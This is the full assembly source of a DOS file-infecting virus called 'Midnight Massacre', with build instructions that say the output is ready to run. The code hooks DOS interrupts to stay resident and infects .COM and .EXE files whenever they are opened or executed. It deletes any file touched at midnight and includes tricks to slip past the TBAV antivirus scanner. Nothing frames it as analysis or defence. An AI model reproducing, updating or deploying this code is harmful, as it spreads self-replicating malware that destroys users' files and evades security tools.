;**************************************************************************** ;* Midnight Massacre virus * ;* by Crypt Keeper * ;**************************************************************************** ;Version 1.2 ;Entry point and check resident bugs fixed. ;Midnight Massacre is based on the Eleet! virus, but with added .COM ;support, bugs in infection process fixed, and new load resident and ;trigger routines. The Midnight Massacre virus will infect .COM or ;.EXE files as they are opened, executed, or their attributes are ;accessed. Also, if the system time is 12:00am, the virus will delete ;any file executed or opened for any reason (midnight massacre). ;Midnight Massacre also has a unique memory-resident installation ;routine that will load it into the UMB if a high memory driver is ;present, or 1000h paragraphs down from top of memory, if no HMA ;driver is loaded. Midnight Massacre will not infect COMMAND.COM ;TASM MASSACRE.ASM /M3 ;TLINK MASSACRE.OBJ /t ;The generated .COM file is ready to run with no modifications. .model tiny .code org 100h massacre: ;start of virus code vtop equ $ ;top of virus code block ;Equates -------------------------------------------------------------------- vlength equ vbot-vtop ;virus length in bytes heapsiz equ hbot-heap ;heap size in bytes vlres equ ((vlength+heapsiz+100h)/16)+1 ;virus length in paragraphs vlpage equ (vlength/512)+1 ;virus length in pages chkfunc equ 9AC7h ;check resident int 21h function virusid equ 0000h ;virus ID word in exeheader ;---------------------------------------------------------------------------- db 0BDh ;mov bp, delta dw 0 ;delta offset lea sp,[bp+(offset(sspace)+64)] ;set up new stack push ds push es ;save original EXE segments cld ;clear direction flag mov ax,chkfunc int 2Fh push cs pop ds cmp ax,chkfunc+1 ;did virus return reply? jne install ;if not, install resident jmp return ;if so, return to original program install: mov ax,3521h ;Get int 21h vector int 21h mov [bp+offset(i21veco)],bx mov [bp+offset(i21vecs)],es mov ax,352Fh ;Get int 2Fh vector int 21h mov [bp+offset(i2Fveco)],bx mov [bp+offset(i2Fvecs)],es mov ax,4300h ;get himem.sys installed state int 2Fh ;multiplex interrupt cmp al,80h ;80h in al means himem.sys is loaded jne get_old_fashioned_way mov ax,4310h ;get himem.sys entry point adress int 2Fh mov [bp+offset(himem_o)],bx mov [bp+offset(himem_s)],es ;save entry point for calling mov ah,10h ;allocate UMB (function 10h) mov dx,vlres ;paragraphs to request call dword ptr [bp+offset(himem_o)] ;call himem.sys mov ax,bx ;BX will contain segment of memory jmp short go_ahead_load ;continue with load procedure get_old_fashioned_way: int 12h ;get total k-bytes of RAM in conv. mem xor dx,dx mov cx,1024 mul cx mov cx,16 div cx ;convert to paragraphs sub ax,1000h ;put it 1000h paragraphs down from TOM go_ahead_load: mov es,ax ;segment of allocated memory arena lea si,[bp+offset(massacre)] ;bp=start of virus code mov cx,vlength+heapsiz ;virus length in bytes+heap data mov di,100h rep movsb ;copy virus code up there push es pop ds mov dx,offset(i2Fvec) ;new int 21h vector mov ax,252Fh ;set int 21h vector int 21h mov dx,offset(i21vec) ;new int 21h vector mov ax,2521h ;set int 21h vector int 21h return: cmp byte ptr [bp+offset(comid)],0 ;is this a .COM file we're from? jne return_exe mov sp,0FFFEh ;set old stack pointer push cs pop ds push cs pop es lea si,[bp+offset(saved)] ;saved bytes from original .COM mov di,100h push di ;set up for return mov cx,compend-cptop ;size of branch code to replace rep movsb ;replace branch code ret ;jump back to top of code segment return_exe: mov ah,51h ;Get PSP adress int 21h add bx,16 ;Compensate for PSP size pop es pop ds ;Restore original ES and DS from EXE cli ;Clear interrupts for stack change mov sp,cs:[bp+offset(old_sp)] mov ax,cs:[bp+offset(old_ss)] add ax,bx ;Find segment for SS mov ss,ax ;Reset original EXE stack sti add cs:[bp+offset(old_cs)],bx ;Find segment for CS jmp dword ptr cs:[bp+offset(old_ip)] ;Far jump to original EXE code ;---------------------------------------------------------------------------- i2Fvec: cmp ax,chkfunc ;check resident function? je ret_reply ;if so, return a reply jmp dword ptr cs:i2Fveco ret_reply: inc ax iret ;return with reply ;---------------------------------------------------------------------------- move_pointer_beginning: xor dx,dx xor cx,cx mov ax,4200h ;move file pointer to beginning of file jmp short function ;execute DOS function call move_pointer_end: xor cx,cx xor dx,dx ;move pointer 0 bytes mov ax,4202h ;move pointer to end of file ;goes on to function procedure below function: pushf call dword ptr cs:i21veco ;simulate int 21h call ret ;Data ----------------------------------------------------------------------- message db '[MIDNIGHT MASSACRE] V1.2 by Crypt Keeper' old_sp dw 0 old_ss dw 0FFF0h ;Old SS:SP old_ip dw 0 old_cs dw 0FFF0h ;Old CS:IP exeext db 'EXE' comext db 'COM' ;Extensions to look for comid db 0 ;set to 0 if .COM file by loader cptop equ $ ;start of COM file branch program comproc: nop db 0BBh ;MOV BX, voffset dw 0 ;virus jump offset push bx ret compend equ $ ;End of COM file branch program saved db 0CDh,20h ;for proper return on gen #1 file db (compend-cptop)-2 dup (0) ;saved .COM file bytes ;---------------------------------------------------------------------------- i21vec: nop xchg ax,dx ;load into another register to fool ;TBAV's interception check flag cmp dx,4B00h ;load and execute program? je vtrigger cmp dx,4B01h ;load program? je vtrigger cmp dh,3Dh ;open file with handle? je vtrigger cmp dx,4301h ;set file attributes? je vtrigger cmp dx,4300h ;get file attributes? je vtrigger xchg ax,dx jmp dword ptr cs:i21veco vtrigger: xchg ax,dx push es push si push di push ax push bx push cx push ds push dx mov ah,2Ch ;Get time int 21h pop dx push dx ;get old DX off stack cmp cx,0 ;midnight? jne no_massacre ;if not, skip the massacre mov ah,41h ;delete file int 21h jmp short exitvec ;exit from interrupt no_massacre: push ds pop es mov di,dx push cs pop ds cld ;clear direction flag mov cx,128 ;maximum number of chars in a filename mov al,'.' ;search for extension seperator repne scasb ;find file extension cmp cx,0 ;no extension found? je exitvec mov bx,di upcase: cmp byte ptr es:[di],97 jb skip_change cmp byte ptr es:[di],122 ja skip_change ;non-letters are not affected and byte ptr es:[di],5Fh ;make character upper case skip_change: inc di loop upcase mov di,bx mov si,offset(exeext) ;extension to compare to mov cx,3 ;3 bytes to compare repe cmpsb ;is the extension 'EXE'? cmp cx,0 ;were they equal? je infect_exe ;if so, infect the .EXE file mov di,bx mov si,offset(comext) ;extension to compare to mov cx,3 ;3 bytes to compare repe cmpsb ;is the extension 'COM'? cmp cx,0 ;were they equal? jne exitvec ;if not, terminate sub bx,3 cmp word ptr es:[bx],'DN' ;end with 'ND'? je exitvec jmp infect_com ;infect the .COM file exitvec: pop dx pop ds pop cx pop bx pop ax pop di pop si pop es jmp dword ptr cs:i21veco ;execute rest of interrupt chain infect_exe: pop dx push dx ;get adress of filename off stack call prepare_infect ;prepare to infect mov cx,28 ;size of EXE header + extra stuff mov dx,offset(exeheader) ;EXE header data space mov ah,3Fh ;read file or device int 21h mov ax,exesign xor ax,0ABCDh ;kill TBAV's check exe/com flag cmp ax,0E697h je exe_ok cmp ax,0F180h je exe_ok ;if EXE ID field is ok, go ahead jmp endinfection ;If not good EXE, end infection exe_ok: cmp idword,virusid ;virus already infected? jne not_infected ;if not, proceed jmp endinfection not_infected: les si,dword ptr ds:initip ;get CS:IP from EXE header mov old_cs,es mov old_ip,si les si,dword ptr ds:initss ;get SS:SP (reversed) mov old_ss,si mov old_sp,es call move_pointer_end ;move file pointer to end of file mov cx,10h div cx ;convert to paragraphs push ax sub ax,headers ;subtract header size in paragraphs pop cx cmp ax,cx ja endinfection ;If file too small, end infection mov initcs,ax mov initip,dx ;set initial CS:IP in exe header sub dx,100h mov delta,dx ;set delta offset in virus mov initss,ax mov idword,virusid ;set initial SS:SP in exe header add minallc,vlres+1 ;add virus size to minimum memory mov comid,0FFh ;set COM-ID field to nonzero (not COM) mov cx,vlength ;number of bytes in virus mov dx,100h mov ah,40h ;write file or device int 21h call move_pointer_end ;move file pointer to end of file mov cx,512 div cx ;change bytes in new file to pages cmp dx,0 ;no remainder? je go_ahead_set inc ax ;if remainder, add another page go_ahead_set: mov expages,ax mov exbytes,dx ;set EXE file size call move_pointer_beginning ;move pointer to beginning of file mov cx,28 ;header size in bytes mov dx,offset(exeheader) ;write exe header back out to file mov ah,40h ;write file or device call function endinfection: mov cx,oldtime mov dx,olddate mov ax,5701h ;set file date and time int 21h mov ah,3Eh ;close file with handle int 21h pop dx pop ds ;get old location of filename mov cx,oldattr mov ax,4301h ;set file attributes call function jmp exitvec ;return from interrupt prepare_infect: push es pop ds mov ax,4300h ;get file attributes call function jnc file_ok ;no carry means filename exists jmp exitvec file_ok: pop ax ;preserve return vector push ds push dx push ax ;put return vector on top of stack mov cs:oldattr,cx ;save old file attributes xor cx,cx ;set to normal attributes mov ax,4301h ;set file attributes call function mov ax,3D02h ;open file for read/write access call function mov bx,ax ;file handle push cs pop ds mov ax,5700h ;get file date and time int 21h mov oldtime,cx mov olddate,dx ;save old time and date ret infect_com: pop dx push dx ;get adress of filename off stack call prepare_infect ;open and prepare to infect mov cx,compend-cptop ;size of .COM file branch code mov dx,offset(saved) ;saved bytes buffer mov ah,3Fh ;read file or device int 21h mov ax,word ptr comproc cmp word ptr saved,ax ;is file already infected? je endinfection mov comid,0 ;zero .COM id field call move_pointer_end ;move file pointer to EOF mov delta,ax ;delta offset add ax,100h mov voffset,ax ;offset of virus code in .COM file mov cx,vlength ;length of virus to write mov dx,100h mov ah,40h ;write file or device int 21h call move_pointer_beginning ;move file pointer to start of file mov cx,compend-cptop ;size of .COM file branch code mov dx,offset(comproc) ;.COM file branch code to write mov ah,40h ;write file or device int 21h jmp endinfection ;we're done. ;---------------------------------------------------------------------------- vbot equ $ ;bottom of virus code heap equ $ ;Beginning of heap himem_o dw 0 himem_s dw 0 ;himem.sys entry point adress i21veco dw 0 i21vecs dw 0 ;int 21h vector exeheader: exesign dw 0 ;EXE signature exbytes dw 0 ;number of bytes in last page expages dw 0 ;number of pages in file reloci dw 0 ;number of items in relocation table headers dw 0 ;size of header in paragraphs minallc dw 0 ;minimum memory to be allocated maxallc dw 0 ;maximum memory to be allocated initss dw 0 ;initial SS value idword dw 0 ;initial SP value (used as ID word) chksum dw 0 ;complimented checksum initip dw 0 ;initial IP value initcs dw 0 ;initial CS value reltabl dw 0 ;byte offset to relocation table ovnum dw 0 ;overlay number oldattr dw 0 ;old file attributes oldtime dw 0 olddate dw 0 ;old saved time and date i2Fveco dw 0 i2Fvecs dw 0 ;old INT 2Fh vectors hbot equ $ ;bottom of heap sspace db 64 dup ('+') ;virus stack end massacre